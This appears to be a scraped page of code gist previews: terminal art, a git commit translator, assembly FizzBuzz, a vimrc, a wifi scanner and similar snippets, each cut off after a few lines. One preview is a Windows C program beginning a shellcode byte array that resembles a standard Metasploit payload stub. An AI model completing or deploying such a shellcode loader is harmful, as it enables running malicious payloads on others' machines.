This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
output = [] | |
12.times do |y| | |
output[y] = [] | |
18.times do |x| | |
if y == 0 && x >= 10 && x <= 11 | |
output[y][x] = "\e[32m#\e[0m" | |
elsif 1 == y && x >= 10 && x <= 10 | |
output[y][x] = "\e[32m#\e[0m" | |
elsif y == 2 && x >= 9 && x <= 11 | |
output[y][x] = "\e[33m#\e[0m" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> | |
int main(void) { | |
unsigned char shellcode[] = | |
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" | |
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" | |
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" | |
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" | |
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <stdint.h> | |
#include <sys/ptrace.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <sys/stat.h> | |
#include <unistd.h> | |
#include <sys/user.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
function usage { | |
echo "usage:git tcommit <commit message>" | |
exit 2 | |
} | |
if [ "$1" != "" ]; then | |
RESULT=$(curl -sS 'https://www2.deepl.com/jsonrpc' \ | |
-H 'authority: www2.deepl.com' \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
section .data | |
str_fizzbuzz: db 'fizzbuzz',10 | |
str_fizz: db 'fizz',10 | |
str_buzz: db 'buzz',10 | |
section .text | |
global _start | |
_start: | |
mov rcx,0 | |
.loop: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
_)(* | |
! | |
! @_ | |
!! | |
!!! | |
!!!! | |
!!!!! | |
!!!!!! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const sleep = require('sleep') | |
const homo = '┌(┌^o^)┐' | |
const homoleft = '┌(^o^┐)┐' | |
const rightMoveHomo = move => { | |
for( let i = 0;i<move;i++) { | |
console.log(`\x1b[${i}G${homo}`) | |
sleep.msleep(50) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
import re | |
import requests | |
import time | |
def wifi(): | |
while True: | |
bssids = [] | |
signal = [] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set fenc=utf-8 | |
set nobackup | |
set noswapfile | |
set showcmd | |
set number | |
set title | |
set cursorcolumn | |
set smartindent | |
set belloff=all | |
set showmatch |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<DOCTYPE html> | |
<html lang="ja"> | |
<head> | |
<meta charset="utf-8"> | |
<title>directory search</title> | |
</head> | |
<body> | |
<p>test</p> | |
</body> | |
<script type="text/javascript"> |
NewerOlder